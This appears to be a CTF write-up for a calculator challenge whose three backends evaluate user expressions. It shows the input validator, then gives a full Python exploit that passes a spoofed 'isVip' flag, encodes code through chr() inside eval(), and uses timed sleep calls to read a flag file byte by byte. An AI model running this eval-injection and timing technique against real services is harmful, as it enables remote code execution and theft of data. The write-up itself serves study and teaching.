Rating:

(source given)

This website provides a calculator service with one frontend and three backends (php, python, node). We submit an expression to frontend, and get the result if answers given by eval from all backends are the same.

There are some restriction on the expression.

validate(value: any, args: ValidationArguments) {
    const str = value ? value.toString() : '';
    if (str.length === 0) {
        return false;
    }
    if (!(args.object as CalculateModel).isVip) {
        if (str.length >= args.constraints[0]) {
            return false;
        }
    }
    if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
        return false;
    }
    return true;
}

We can use eval and chr in python to pass the re check.

We also need to add "isVIP": True in the post json to avoid the length check.

After all, it becomes a timing blind search, and the basic payload is __import__('time').sleep(5) if {boolean_exp} else 1

final script:

import requests
from time import time

url = 'https://calcalcalc.2019.rctf.rois.io/calculate'


def encode(payload):
    return 'eval(%s)' % ('+'.join('chr(%d)' % ord(c) for c in payload))


def query(bool_expr):
    payload = "__import__('time').sleep(5) if %s else 1" % bool_expr
    t = time()
    r = requests.post(url, json={'isVip': True, 'expression': encode(payload)})
    # print(r.text)
    delta = time() - t
    print(payload, delta)
    return delta > 5

def binary_search(geq_expression, l, r):
    eq_expression = geq_expression.replace('>=', '==')
    while True:
        if (r - l) < 4:
            for mid in range(l, r + 1):
                if query(eq_expression.format(num=mid)):
                    return mid
            else:
                print('NOT FOUND')
                return
        mid = (l + r) // 2
        if query(geq_expression.format(num=mid)):
            l = mid
        else:
            r = mid

# flag_len = binary_search("len(open('/flag').read())>={num}", 0, 100)
flag_len = 36
print('flag length: %d' % flag_len)

flag = ''
while len(flag) < flag_len:
    c = binary_search("ord(open('/flag').read()[%d])>={num}" % len(flag), 0, 128)
    if c:   # the bs may fail due to network issues
        flag += chr(c)
    print(flag)